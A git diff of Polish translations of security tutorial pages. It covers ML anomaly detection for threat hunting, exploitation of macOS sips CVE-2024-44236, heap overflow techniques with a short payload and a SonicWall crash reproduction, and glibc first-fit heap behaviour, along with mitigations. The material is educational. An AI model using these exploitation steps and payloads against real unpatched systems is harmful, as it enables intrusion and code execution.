Wynik pokazuje przewidywane etykiety dla pierwszych 20 punktów (gdzie -1 oznacza anomalię). Drukujemy również, ile anomalii zostało wykrytych w sumie oraz kilka przykładowych punktów anomalii. Oczekiwalibyśmy, że około 18 z 120 punktów zostanie oznaczonych jako -1 (ponieważ zanieczyszczenie wynosiło 15%). Jeśli nasze 20 próbek ataku jest rzeczywiście najbardziej odstającymi, większość z nich powinna pojawić się w tych przewidywaniach -1. Punktacja anomalii (funkcja decyzyjna Isolation Forest) jest wyższa dla normalnych punktów i niższa (bardziej negatywna) dla anomalii – drukujemy kilka wartości, aby zobaczyć separację. W praktyce można by posortować dane według punktacji, aby zobaczyć najlepsze odstające i je zbadać. Isolation Forest zapewnia zatem efektywny sposób przeszukiwania dużych nieoznakowanych danych bezpieczeństwa i wyodrębniania najbardziej nieregularnych przypadków do analizy przez ludzi lub dalszej automatycznej analizy.
|
||||
Wynik pokazuje przewidywane etykiety dla pierwszych 20 punktów (gdzie -1 oznacza anomalię). Drukujemy również, ile anomalii zostało wykrytych w sumie oraz kilka przykładowych punktów anomalii. Oczekiwalibyśmy, że około 18 z 120 punktów zostanie oznaczonych jako -1 (ponieważ zanieczyszczenie wynosiło 15%). Jeśli nasze 20 próbek ataku jest rzeczywiście najbardziej odstającymi, większość z nich powinna pojawić się w tych przewidywaniach -1. Wynik anomalii (funkcja decyzyjna Isolation Forest) jest wyższy dla normalnych punktów i niższy (bardziej negatywny) dla anomalii – drukujemy kilka wartości, aby zobaczyć separację. W praktyce można by posortować dane według wyniku, aby zobaczyć najlepsze odstające punkty i je zbadać. Isolation Forest zapewnia zatem efektywny sposób przeszukiwania dużych, nieoznakowanych danych bezpieczeństwa i wyodrębniania najbardziej nieregularnych przypadków do analizy przez ludzi lub dalszej automatycznej analizy.
|
||||
|
||||
### t-SNE (t-Distributed Stochastic Neighbor Embedding)
|
||||
|
||||
@ -334,18 +334,18 @@ Algorytm ma dwa główne etapy:
|
||||
|
||||
1. **Obliczanie parowych afinitetów w przestrzeni o wysokiej wymiarowości:** Dla każdej pary punktów t-SNE oblicza prawdopodobieństwo, że wybierze tę parę jako sąsiadów (to jest realizowane przez centrowanie rozkładu Gaussa na każdym punkcie i mierzenie odległości – parametr złożoności wpływa na efektywną liczbę sąsiadów, które są brane pod uwagę).
|
||||
2. **Obliczanie parowych afinitetów w przestrzeni o niskiej wymiarowości (np. 2D):** Początkowo punkty są losowo umieszczane w 2D. t-SNE definiuje podobne prawdopodobieństwo dla odległości w tej mapie (używając jądra rozkładu t Studenta, które ma cięższe ogony niż Gauss, aby umożliwić dalszym punktom większą swobodę).
|
||||
3. **Spadek gradientu:** t-SNE następnie iteracyjnie przesuwa punkty w 2D, aby zminimalizować rozbieżność Kullbacka-Leiblera (KL) między rozkładem afinitetów w wysokiej wymiarowości a tym w niskiej wymiarowości. Powoduje to, że układ 2D odzwierciedla strukturę w wysokiej wymiarowości tak bardzo, jak to możliwe – punkty, które były blisko w oryginalnej przestrzeni, będą się przyciągać, a te oddalone będą się odpychać, aż znajdzie się równowaga.
|
||||
3. **Spadek gradientu:** t-SNE następnie iteracyjnie przemieszcza punkty w 2D, aby zminimalizować rozbieżność Kullbacka–Leiblera (KL) między rozkładem afinitetów w wysokiej wymiarowości a tym w niskiej. Powoduje to, że układ 2D odzwierciedla strukturę w wysokiej wymiarowości tak bardzo, jak to możliwe – punkty, które były blisko w oryginalnej przestrzeni, będą się przyciągać, a te oddalone będą się odpychać, aż znajdzie się równowaga.
|
||||
|
||||
Wynik często stanowi wizualnie znaczący wykres punktowy, na którym klastry w danych stają się oczywiste.
|
||||
|
||||
> [!TIP]
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* t-SNE jest często używane do **wizualizacji danych o wysokiej wymiarowości w celu analizy przez ludzi**. Na przykład, w centrum operacyjnym bezpieczeństwa analitycy mogą wziąć zbiór danych o zdarzeniach z dziesiątkami cech (numery portów, częstotliwości, liczby bajtów itp.) i użyć t-SNE do wygenerowania wykresu 2D. Ataki mogą tworzyć własne klastry lub oddzielać się od normalnych danych na tym wykresie, co ułatwia ich identyfikację. Zostało to zastosowane do zbiorów danych złośliwego oprogramowania, aby zobaczyć grupy rodzin złośliwego oprogramowania lub do danych o włamaniu do sieci, gdzie różne typy ataków wyraźnie się grupują, co prowadzi do dalszego dochodzenia. W zasadzie t-SNE zapewnia sposób na zobaczenie struktury w danych cybernetycznych, które w przeciwnym razie byłyby nieczytelne.
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* t-SNE jest często używane do **wizualizacji danych o wysokiej wymiarowości w celu analizy przez ludzi**. Na przykład, w centrum operacyjnym bezpieczeństwa, analitycy mogą wziąć zbiór danych o zdarzeniach z dziesiątkami cech (numery portów, częstotliwości, liczby bajtów itp.) i użyć t-SNE do wygenerowania wykresu 2D. Ataki mogą tworzyć własne klastry lub oddzielać się od normalnych danych na tym wykresie, co ułatwia ich identyfikację. Zostało to zastosowane do zbiorów danych złośliwego oprogramowania, aby zobaczyć grupy rodzin złośliwego oprogramowania lub do danych o włamaniu do sieci, gdzie różne typy ataków wyraźnie się grupują, co prowadzi do dalszego dochodzenia. W zasadzie t-SNE zapewnia sposób na dostrzeganie struktury w danych cybernetycznych, które w przeciwnym razie byłyby nieczytelne.
|
||||
|
||||
#### Założenia i ograniczenia
|
||||
|
||||
t-SNE jest świetne do wizualnego odkrywania wzorców. Może ujawniać klastry, podklastry i odstające punkty, które inne metody liniowe (jak PCA) mogą przeoczyć. Zostało użyte w badaniach nad cyberbezpieczeństwem do wizualizacji złożonych danych, takich jak profile zachowań złośliwego oprogramowania lub wzorce ruchu sieciowego. Ponieważ zachowuje lokalną strukturę, dobrze pokazuje naturalne grupowania.
|
||||
|
||||
Jednak t-SNE jest obliczeniowo cięższe (około $O(n^2)$), więc może wymagać próbkowania dla bardzo dużych zbiorów danych. Ma również hiperparametry (złożoność, współczynnik uczenia, iteracje), które mogą wpływać na wynik – np. różne wartości złożoności mogą ujawniać klastry w różnych skalach. Wykresy t-SNE mogą czasami być błędnie interpretowane – odległości na mapie nie mają bezpośredniego znaczenia globalnego (koncentruje się na lokalnym sąsiedztwie, czasami klastry mogą wydawać się sztucznie dobrze oddzielone). Ponadto t-SNE jest głównie do wizualizacji; nie zapewnia prostego sposobu na projekcję nowych punktów danych bez ponownego obliczania i nie jest przeznaczone do użycia jako wstępne przetwarzanie dla modelowania predykcyjnego (UMAP jest alternatywą, która rozwiązuje niektóre z tych problemów z szybszą prędkością).
|
||||
Jednak t-SNE jest obliczeniowo cięższe (około $O(n^2)$), więc może wymagać próbkowania dla bardzo dużych zbiorów danych. Ma również hiperparametry (złożoność, współczynnik uczenia, iteracje), które mogą wpływać na wynik – np. różne wartości złożoności mogą ujawniać klastry w różnych skalach. Wykresy t-SNE mogą czasami być błędnie interpretowane – odległości na mapie nie mają bezpośredniego znaczenia globalnego (koncentruje się na lokalnym sąsiedztwie, czasami klastry mogą wydawać się sztucznie dobrze oddzielone). Ponadto t-SNE jest głównie do wizualizacji; nie zapewnia prostego sposobu na projektowanie nowych punktów danych bez ponownego obliczania i nie jest przeznaczone do użycia jako wstępne przetwarzanie dla modelowania predykcyjnego (UMAP jest alternatywą, która rozwiązuje niektóre z tych problemów z szybszą prędkością).
|
||||
|
||||
<details>
|
||||
<summary>Przykład -- Wizualizacja połączeń sieciowych
|
||||
@ -434,7 +434,7 @@ plt.legend()
|
||||
plt.tight_layout()
|
||||
plt.show()
|
||||
```
|
||||
Tutaj połączyliśmy nasz wcześniejszy zbiór danych 4D z garstką ekstremalnych wartości odstających (wartości odstające mają jedną cechę („czas trwania”) ustawioną bardzo wysoko, itd., aby zasymulować dziwny wzór). Uruchamiamy t-SNE z typową złożonością 30. Wyjściowe data_2d ma kształt (1505, 2). W rzeczywistości nie będziemy rysować w tym tekście, ale gdybyśmy to zrobili, spodziewalibyśmy się zobaczyć może trzy zwarte klastry odpowiadające 3 normalnym klastrom, a 5 wartości odstających pojawiających się jako izolowane punkty daleko od tych klastrów. W interaktywnym przepływie pracy moglibyśmy pokolorować punkty według ich etykiety (normalne lub który klaster, w porównaniu do anomalii), aby zweryfikować tę strukturę. Nawet bez etykiet analityk mógłby zauważyć te 5 punktów siedzących w pustej przestrzeni na wykresie 2D i je oznaczyć. To pokazuje, jak t-SNE może być potężnym narzędziem do wizualnej detekcji anomalii i inspekcji klastrów w danych z cyberbezpieczeństwa, uzupełniając powyższe zautomatyzowane algorytmy.
|
||||
Tutaj połączyliśmy nasz wcześniejszy zbiór danych 4D z garstką ekstremalnych wartości odstających (wartości odstające mają jedną cechę („czas trwania”) ustawioną bardzo wysoko, itd., aby zasymulować dziwny wzór). Uruchamiamy t-SNE z typową złożonością 30. Wyjściowe dane_2d mają kształt (1505, 2). W rzeczywistości nie będziemy rysować w tym tekście, ale gdybyśmy to zrobili, spodziewalibyśmy się zobaczyć może trzy zwarte klastry odpowiadające 3 normalnym klastrom, a 5 wartości odstających pojawiających się jako izolowane punkty daleko od tych klastrów. W interaktywnym przepływie pracy moglibyśmy pokolorować punkty według ich etykiety (normalne lub który klaster, w porównaniu do anomalii), aby zweryfikować tę strukturę. Nawet bez etykiet analityk mógłby zauważyć te 5 punktów siedzących w pustej przestrzeni na wykresie 2D i je oznaczyć. To pokazuje, jak t-SNE może być potężnym narzędziem do wizualnej detekcji anomalii i inspekcji klastrów w danych z cyberbezpieczeństwa, uzupełniając powyższe zautomatyzowane algorytmy.
|
||||
|
||||
</details>
|
||||
|
||||
@ -445,7 +445,7 @@ Tutaj połączyliśmy nasz wcześniejszy zbiór danych 4D z garstką ekstremalny
|
||||
|
||||
* wydobywa bardziej intuicyjne klastry, gdy niektóre klastry są gęste, a inne rzadkie,
|
||||
* ma tylko jeden rzeczywisty hiperparametr (`min_cluster_size`) i sensowną wartość domyślną,
|
||||
* przypisuje każdemu punktowi *prawdopodobieństwo* przynależności do klastra oraz **wynik odstający** (`outlier_scores_`), co jest niezwykle przydatne w pulpitach do poszukiwania zagrożeń.
|
||||
* nadaje każdemu punktowi *prawdopodobieństwo* przynależności do klastra oraz **wynik odstający** (`outlier_scores_`), co jest niezwykle przydatne w pulpitach do poszukiwania zagrożeń.
|
||||
|
||||
> [!TIP]
|
||||
> *Przykłady zastosowań w cyberbezpieczeństwie:* HDBSCAN jest bardzo popularny w nowoczesnych procesach poszukiwania zagrożeń – często zobaczysz go w podręcznikach do polowania opartych na notatnikach dostarczanych z komercyjnymi zestawami XDR. Jednym z praktycznych przepisów jest klastrowanie ruchu HTTP beaconing podczas IR: user-agent, interwał i długość URI często tworzą kilka zwartych grup legalnych aktualizacji oprogramowania, podczas gdy C2 beacons pozostają jako małe klastry o niskiej gęstości lub jako czysty szum.
|
||||
@ -479,17 +479,17 @@ print("Suspect beacon count:", len(suspects))
|
||||
|
||||
---
|
||||
|
||||
### Rozważania dotyczące odporności i bezpieczeństwa – Zatrucie i ataki adwersarialne (2023-2025)
|
||||
### Rozważania dotyczące odporności i bezpieczeństwa – Zatrucie i ataki adwersarzy (2023-2025)
|
||||
|
||||
Najnowsze prace wykazały, że **uczniowie nienadzorowani *nie* są odporni na aktywnych atakujących**:
|
||||
|
||||
* **Zatrucie danych przeciwko detektorom anomalii.** Chen *et al.* (IEEE S&P 2024) wykazali, że dodanie zaledwie 3 % stworzonych ruchów może przesunąć granicę decyzyjną Isolation Forest i ECOD, tak że prawdziwe ataki wyglądają normalnie. Autorzy opublikowali otwartoźródłowy PoC (`udo-poison`), który automatycznie syntetyzuje punkty zatrucia.
|
||||
* **Zatrucie danych przeciwko detektorom anomalii.** Chen *et al.* (IEEE S&P 2024) wykazali, że dodanie zaledwie 3% stworzonych ruchów może przesunąć granicę decyzyjną Isolation Forest i ECOD, tak że prawdziwe ataki wyglądają normalnie. Autorzy opublikowali otwartoźródłowy PoC (`udo-poison`), który automatycznie syntetyzuje punkty zatrucia.
|
||||
* **Wprowadzanie backdoora do modeli klastrowania.** Technika *BadCME* (BlackHat EU 2023) implantuje mały wzór wyzwalający; gdy ten wyzwalacz się pojawia, detektor oparty na K-Means cicho umieszcza zdarzenie w "łagodnym" klastrze.
|
||||
* **Unikanie DBSCAN/HDBSCAN.** Preprint akademicki z 2025 roku z KU Leuven pokazał, że atakujący może stworzyć wzory sygnalizacyjne, które celowo wpadają w luki gęstości, skutecznie ukrywając się w etykietach *szumowych*.
|
||||
|
||||
Mitigacje, które zyskują na znaczeniu:
|
||||
|
||||
1. **Sanitacja modelu / TRIM.** Przed każdą epoką retrainingu, odrzuć 1–2 % punktów o najwyższej stracie (przycięte maksymalne prawdopodobieństwo), aby znacznie utrudnić zatrucie.
|
||||
1. **Sanitacja modelu / TRIM.** Przed każdą epoką retrenowania, odrzuć 1–2% punktów o najwyższej stracie (przycięte maksymalne prawdopodobieństwo), aby znacznie utrudnić zatrucie.
|
||||
2. **Ensemble konsensusu.** Połącz kilka heterogenicznych detektorów (np. Isolation Forest + GMM + ECOD) i podnieś alarm, jeśli *jakikolwiek* model oznaczy punkt. Badania wskazują, że podnosi to koszt atakującego o >10×.
|
||||
3. **Obrona oparta na odległości dla klastrowania.** Ponownie oblicz klastry z `k` różnymi losowymi nasionami i ignoruj punkty, które ciągle przeskakują między klastrami.
|
||||
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Przegląd
|
||||
|
||||
W podatności **zero-write** poza zakresem w parserze profilu ICC **Scriptable Image Processing System** (`sips`) w Apple macOS (macOS 15.0.1, `sips-307`) umożliwia atakującemu uszkodzenie metadanych sterty i przekształcenie prymitywu w pełne wykonanie kodu. Błąd znajduje się w obsłudze pola `offsetToCLUT` tagów `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Jeśli atakujący ustawi `offsetToCLUT == tagDataSize`, parser usuwa **16 bajtów poza końcem bufora sterty**. Spraying sterty pozwala atakującemu na wyzerowanie struktur alokatora lub wskaźników C++, które później będą dereferencjonowane, co prowadzi do łańcucha **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||
Wrażliwość **zero-write** poza granicami w parserze profilu ICC **Scriptable Image Processing System** (`sips`) w Apple macOS (macOS 15.0.1, `sips-307`) pozwala atakującemu na uszkodzenie metadanych sterty i przekształcenie prymitywu w pełne wykonanie kodu. Błąd znajduje się w obsłudze pola `offsetToCLUT` tagów `lutAToBType` (`mAB `) i `lutBToAType` (`mBA `). Jeśli atakujący ustawi `offsetToCLUT == tagDataSize`, parser usuwa **16 bajtów poza końcem bufora sterty**. Spraying sterty pozwala atakującemu na wyzerowanie struktur alokatora lub wskaźników C++, które później będą dereferencjonowane, co prowadzi do łańcucha **arbitrary-write-to-exec** (CVE-2024-44236, CVSS 7.8).
|
||||
|
||||
> Apple naprawił błąd w macOS Sonoma 15.2 / Ventura 14.7.1 (30 października 2024). Druga wariant (CVE-2025-24185) został naprawiony w macOS 15.5 i iOS/iPadOS 18.5 1 kwietnia 2025.
|
||||
|
||||
## Podatny kod
|
||||
## Wrażliwy kod
|
||||
```c
|
||||
// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1)
|
||||
if (offsetToCLUT <= tagDataSize) {
|
||||
@ -35,7 +35,7 @@ sips -s format png payload.jpg --out out.png
|
||||
```
|
||||
|
||||
3. **Uszkodzenie metadanych sterty ➜ dowolny zapis ➜ ROP**
|
||||
W domyślnym alokatorze **`nano_zone`** firmy Apple, metadane dla slotów 16-bajtowych znajdują się **bezpośrednio po** wyrównanym bloku 0x1000. Umieszczając tag profilu na końcu takiego bloku, 16 zerowych zapisów nadpisuje `meta->slot_B`. Po następnym `free`, zatruty wskaźnik jest dodawany do małej listy wolnych, co pozwala atakującemu **alokować fałszywy obiekt pod dowolnym adresem** i nadpisać wskaźnik vtable C++, używany przez sips, ostatecznie przekierowując wykonanie do łańcucha ROP przechowywanego w złośliwym buforze ICC.
|
||||
W domyślnym alokatorze **`nano_zone`** firmy Apple, metadane dla slotów 16-bajtowych znajdują się **bezpośrednio po** wyrównanym bloku 0x1000. Umieszczając tag profilu na końcu takiego bloku, 16 zerowych zapisów nadpisuje `meta->slot_B`. Po kolejnej operacji `free`, zatruty wskaźnik jest dodawany do małej listy wolnych, co pozwala atakującemu **alokować fałszywy obiekt pod dowolnym adresem** i nadpisać wskaźnik vtable C++, używany przez sips, ostatecznie przekierowując wykonanie do łańcucha ROP przechowywanego w złośliwym buforze ICC.
|
||||
|
||||
### Szybki generator PoC (Python 3)
|
||||
```python
|
||||
@ -83,7 +83,7 @@ Otwieranie lub przetwarzanie spreparowanego profilu ICC prowadzi do zdalnego **w
|
||||
|
||||
* **Poprawka!** Upewnij się, że host działa na macOS ≥ 15.2 / 14.7.1 (lub iOS/iPadOS ≥ 18.1).
|
||||
* Wdróż powyższą regułę YARA na bramkach e-mailowych i rozwiązaniach EDR.
|
||||
* Usuń lub oczyść osadzone profile ICC za pomocą `exiftool -icc_profile= -overwrite_original <file>` przed dalszym przetwarzaniem na nieznanych plikach.
|
||||
* Usuń lub oczyść osadzone profile ICC za pomocą `exiftool -icc_profile= -overwrite_original <file>` przed dalszym przetwarzaniem na nieufnych plikach.
|
||||
* Wzmocnij Podgląd/QuickLook, uruchamiając je w piaskownicowych maszynach wirtualnych „przezroczystości i modernizacji” podczas analizy nieznanej zawartości.
|
||||
* W przypadku DFIR, szukaj niedawnego wykonania `sips --verifyColor` lub ładowania biblioteki `ColorSync` przez aplikacje w piaskownicy w zjednoczonym dzienniku.
|
||||
|
||||
@ -91,7 +91,7 @@ Otwieranie lub przetwarzanie spreparowanego profilu ICC prowadzi do zdalnego **w
|
||||
|
||||
* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)”
|
||||
https://www.zerodayinitiative.com/advisories/ZDI-24-1445/
|
||||
* Apple security updates HT213981 “O treści zabezpieczeń macOS Sonoma 15.2”
|
||||
* Apple security updates HT213981 “O zawartości zabezpieczeń macOS Sonoma 15.2”
|
||||
https://support.apple.com/en-us/HT213981
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,10 +6,10 @@
|
||||
|
||||
Heap overflow jest jak [**stack overflow**](../stack-overflow/index.html), ale w stercie. Zasadniczo oznacza to, że pewna przestrzeń została zarezerwowana w stercie do przechowywania danych, a **przechowywane dane były większe niż zarezerwowana przestrzeń.**
|
||||
|
||||
W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i można to wykorzystać. W przypadku heap overflow **nie ma żadnych wrażliwych informacji przechowywanych domyślnie** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak napastnik mógłby to wykorzystać.
|
||||
W przypadku stack overflow wiemy, że niektóre rejestry, takie jak wskaźnik instrukcji czy ramka stosu, będą przywracane ze stosu i można to wykorzystać. W przypadku heap overflow **nie ma żadnych wrażliwych informacji przechowywanych domyślnie** w kawałku sterty, który może być przepełniony. Jednak mogą to być wrażliwe informacje lub wskaźniki, więc **krytyczność** tej podatności **zależy** od **tego, jakie dane mogą być nadpisane** i jak napastnik może to wykorzystać.
|
||||
|
||||
> [!TIP]
|
||||
> Aby znaleźć przesunięcia przepełnienia, możesz użyć tych samych wzorców, co w [**stack overflow**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
> Aby znaleźć przesunięcia przepełnienia, możesz użyć tych samych wzorców, co w przypadku [**stack overflow**](../stack-overflow/index.html#finding-stack-overflows-offsets).
|
||||
|
||||
### Stack Overflows vs Heap Overflows
|
||||
|
||||
@ -19,15 +19,15 @@ Jednak w przypadku heap overflow używana pamięć nie jest liniowa, ale **aloko
|
||||
|
||||
Jedną z technik używanych do tego jest **Heap Grooming**, która jest używana na przykład [**w tym poście**](https://azeria-labs.com/grooming-the-ios-kernel-heap/). W poście wyjaśniono, jak w jądrze iOS, gdy strefa kończy się pamięcią do przechowywania kawałków pamięci, rozszerza ją o stronę jądra, a ta strona jest dzielona na kawałki oczekiwanych rozmiarów, które będą używane w kolejności (do wersji iOS 9.2, potem te kawałki są używane w sposób losowy, aby utrudnić wykorzystanie tych ataków).
|
||||
|
||||
Dlatego w poprzednim poście, w którym występuje przepełnienie sterty, aby wymusić kolizję przepełnionego obiektu z obiektem ofiary, kilka **`kallocs` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że nowa strona jest tworzona**.
|
||||
Dlatego w poprzednim poście, w którym występuje przepełnienie sterty, aby wymusić kolizję przepełnionego obiektu z obiektem ofiary, kilka **`kallocs` jest wymuszanych przez kilka wątków, aby spróbować zapewnić, że wszystkie wolne kawałki są wypełnione i że tworzona jest nowa strona**.
|
||||
|
||||
Aby wymusić to wypełnienie obiektami o określonym rozmiarze, **alokacja poza linią związana z portem mach iOS** jest idealnym kandydatem. Poprzez dostosowanie rozmiaru wiadomości, można dokładnie określić rozmiar alokacji `kalloc`, a gdy odpowiedni port mach zostanie zniszczony, odpowiednia alokacja zostanie natychmiast zwolniona z powrotem do `kfree`.
|
||||
|
||||
Następnie niektóre z tych miejsc mogą być **zwolnione**. Lista zwolnień **`kalloc.4096` zwalnia elementy w kolejności ostatni wchodzi, pierwszy wychodzi**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, podczas gdy próbuje alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
|
||||
Następnie niektóre z tych miejsc mogą być **zwolnione**. Lista zwolnionych elementów **`kalloc.4096` zwalnia elementy w kolejności ostatni wchodzi, pierwszy wychodzi**, co zasadniczo oznacza, że jeśli niektóre miejsca są zwolnione, a exploit próbuje alokować kilka obiektów ofiar, podczas gdy próbuje alokować obiekt podatny na przepełnienie, prawdopodobne jest, że ten obiekt będzie następował po obiekcie ofiary.
|
||||
|
||||
### Przykład libc
|
||||
|
||||
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację przepełnienia sterty, która pokazuje, jak nadpisując bit prev in use następnego kawałka i pozycję prev size, można **skonsolidować używany kawałek** (sprawiając, że myśli, że jest nieużywany) i **następnie ponownie go alokować**, będąc w stanie nadpisać dane, które są używane w innym wskaźniku.
|
||||
[**Na tej stronie**](https://guyinatuxedo.github.io/27-edit_free_chunk/heap_consolidation_explanation/index.html) można znaleźć podstawową emulację przepełnienia sterty, która pokazuje, jak nadpisanie bitu prev in use następnego kawałka i pozycji prev size pozwala na **konsolidację używanego kawałka** (sprawiając, że myśli, że jest nieużywany) i **następnie ponowne jego alokowanie**, co pozwala na nadpisanie danych, które są używane w innym wskaźniku.
|
||||
|
||||
Inny przykład z [**protostar heap 0**](https://guyinatuxedo.github.io/24-heap_overflow/protostar_heap0/index.html) pokazuje bardzo podstawowy przykład CTF, w którym **heap overflow** może być wykorzystany do wywołania funkcji zwycięzcy, aby **zdobyć flagę**.
|
||||
|
||||
@ -35,7 +35,7 @@ W przykładzie [**protostar heap 1**](https://guyinatuxedo.github.io/24-heap_ove
|
||||
|
||||
### Przykład ARM64
|
||||
|
||||
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład przepełnienia sterty, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku z przepełnionego kawałka. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia, nadpisując je prostym exploitem, takim jak:
|
||||
Na stronie [https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/](https://8ksec.io/arm64-reversing-and-exploitation-part-1-arm-instruction-set-simple-heap-overflow/) można znaleźć przykład przepełnienia sterty, w którym polecenie, które ma być wykonane, jest przechowywane w następnym kawałku po przepełnionym kawałku. Tak więc, możliwe jest modyfikowanie wykonywanego polecenia, nadpisując je prostym exploitem, takim jak:
|
||||
```bash
|
||||
python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
```
|
||||
@ -47,7 +47,7 @@ python3 -c 'print("/"*0x400+"/bin/ls\x00")' > hax.txt
|
||||
|
||||
### Przykład z rzeczywistego świata: CVE-2025-40597 – Niewłaściwe użycie `__sprintf_chk`
|
||||
|
||||
W oprogramowaniu układowym SonicWall SMA100 w wersji 10.2.1.15 moduł reverse-proxy `mod_httprp.so` alokuje kawałek sterty o **0x80 bajtach** i następnie konkatenatuje kilka ciągów do niego za pomocą `__sprintf_chk`:
|
||||
W oprogramowaniu układowym SonicWall SMA100 w wersji 10.2.1.15 moduł reverse-proxy `mod_httprp.so` przydziela **0x80-bajtowy** kawałek sterty, a następnie konkatenatuje kilka ciągów do niego za pomocą `__sprintf_chk`:
|
||||
```c
|
||||
char *buf = calloc(0x80, 1);
|
||||
/* … */
|
||||
@ -59,7 +59,7 @@ __sprintf_chk(buf, /* destination (0x80-byte chunk) */
|
||||
```
|
||||
`__sprintf_chk` jest częścią **_FORTIFY_SOURCE**. Gdy otrzymuje **pozytywny** parametr `size`, weryfikuje, czy wynikowy ciąg mieści się w buforze docelowym. Przekazując **`-1` (0xFFFFFFFFFFFFFFFF)**, deweloperzy skutecznie **wyłączyli sprawdzanie granic**, przekształcając wzmocnione wywołanie z powrotem w klasyczne, niebezpieczne `sprintf`.
|
||||
|
||||
Dostarczając zbyt długi nagłówek **`Host:`**, atakujący może **przepełnić 0x80-bajtowy kawałek i nadpisać metadane następnego kawałka sterty** (tcache / fast-bin / small-bin w zależności od alokatora). Awarię można powtórzyć za pomocą:
|
||||
Dostarczając zbyt długi nagłówek **`Host:`**, atakujący może **przepełnić 0x80-bajtowy kawałek i nadpisać metadane następnego kawałka sterty** (tcache / fast-bin / small-bin w zależności od alokatora). Awarię można odtworzyć za pomocą:
|
||||
```python
|
||||
import requests, warnings
|
||||
warnings.filterwarnings('ignore')
|
||||
|
@ -24,7 +24,7 @@ char *c = malloc(250);
|
||||
```
|
||||
### Fastbins
|
||||
|
||||
Fastbins są używane do małych kawałków pamięci. W przeciwieństwie do nieposortowanych binów, fastbins dodają nowe kawałki na początek, tworząc zachowanie last-in-first-out (LIFO). Jeśli poprosisz o mały kawałek pamięci, alokator pobierze z głowy fastbina.
|
||||
Fastbins są używane do małych kawałków pamięci. W przeciwieństwie do nieposortowanych binów, fastbins dodają nowe kawałki na początek, tworząc zachowanie last-in-first-out (LIFO). Jeśli poprosisz o mały kawałek pamięci, alokator pobierze z początku fastbina.
|
||||
|
||||
Example:
|
||||
```c
|
||||
@ -49,7 +49,7 @@ Od glibc 2.26 każdy wątek przechowuje własny **tcache**, który jest sprawdza
|
||||
1. Żądany rozmiar jest **większy niż `tcache_max`** (domyślnie 0x420 na 64-bit), *lub*
|
||||
2. Odpowiedni kosz tcache jest **już pełny lub opróżniony ręcznie** (poprzez alokację 7 elementów i utrzymanie ich w użyciu).
|
||||
|
||||
W rzeczywistych exploitach zazwyczaj dodasz pomocniczą rutynę, taką jak:
|
||||
W rzeczywistych exploitach zazwyczaj dodasz pomocniczą rutynę taką jak:
|
||||
```c
|
||||
// Drain the tcache for a given size
|
||||
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
|
||||
@ -105,7 +105,7 @@ Praktyczne zastosowanie można znaleźć w wyzwaniu *Setjmp* z 2024 HITCON Quals
|
||||
---
|
||||
### 🛡️ Mitigacje i wzmocnienia
|
||||
|
||||
* **Bezpieczne linkowanie (glibc ≥ 2.32)** chroni tylko pojedynczo połączone listy *tcache*/**fastbin**. Nieposortowane/małe/duże skrzynki nadal przechowują surowe wskaźniki, więc nakładki oparte na first-fit pozostają wykonalne, jeśli możesz uzyskać wyciek z heap.
|
||||
* **Bezpieczne linkowanie (glibc ≥ 2.32)** chroni tylko pojedynczo połączone listy *tcache*/**fastbin**. Nieposortowane/małe/duże skrzynki nadal przechowują surowe wskaźniki, więc nakładania oparte na first-fit pozostają wykonalne, jeśli możesz uzyskać wyciek z heap.
|
||||
* **Szyfrowanie wskaźników heap i MTE** (ARM64) nie wpływają jeszcze na x86-64 glibc, ale flagi wzmocnienia dystrybucji, takie jak `GLIBC_TUNABLES=glibc.malloc.check=3`, przerwą działanie przy niespójnych metadanych i mogą złamać naiwne PoC.
|
||||
* **Wypełnianie tcache przy zwolnieniu** (proponowane w 2024 dla glibc 2.41) dodatkowo zmniejszyłoby użycie nieposortowanych; monitoruj przyszłe wydania podczas opracowywania ogólnych exploitów.
|
||||
|
||||
@ -123,7 +123,7 @@ Praktyczne zastosowanie można znaleźć w wyzwaniu *Setjmp* z 2024 HITCON Quals
|
||||
- Możliwe jest przydzielenie pamięci, zapisanie pożądanej wartości, zwolnienie jej, ponowne przydzielenie, a ponieważ poprzednie dane wciąż tam są, będą traktowane zgodnie z nową oczekiwaną strukturą w kawałku, co umożliwia ustawienie wartości, aby uzyskać flagę.
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
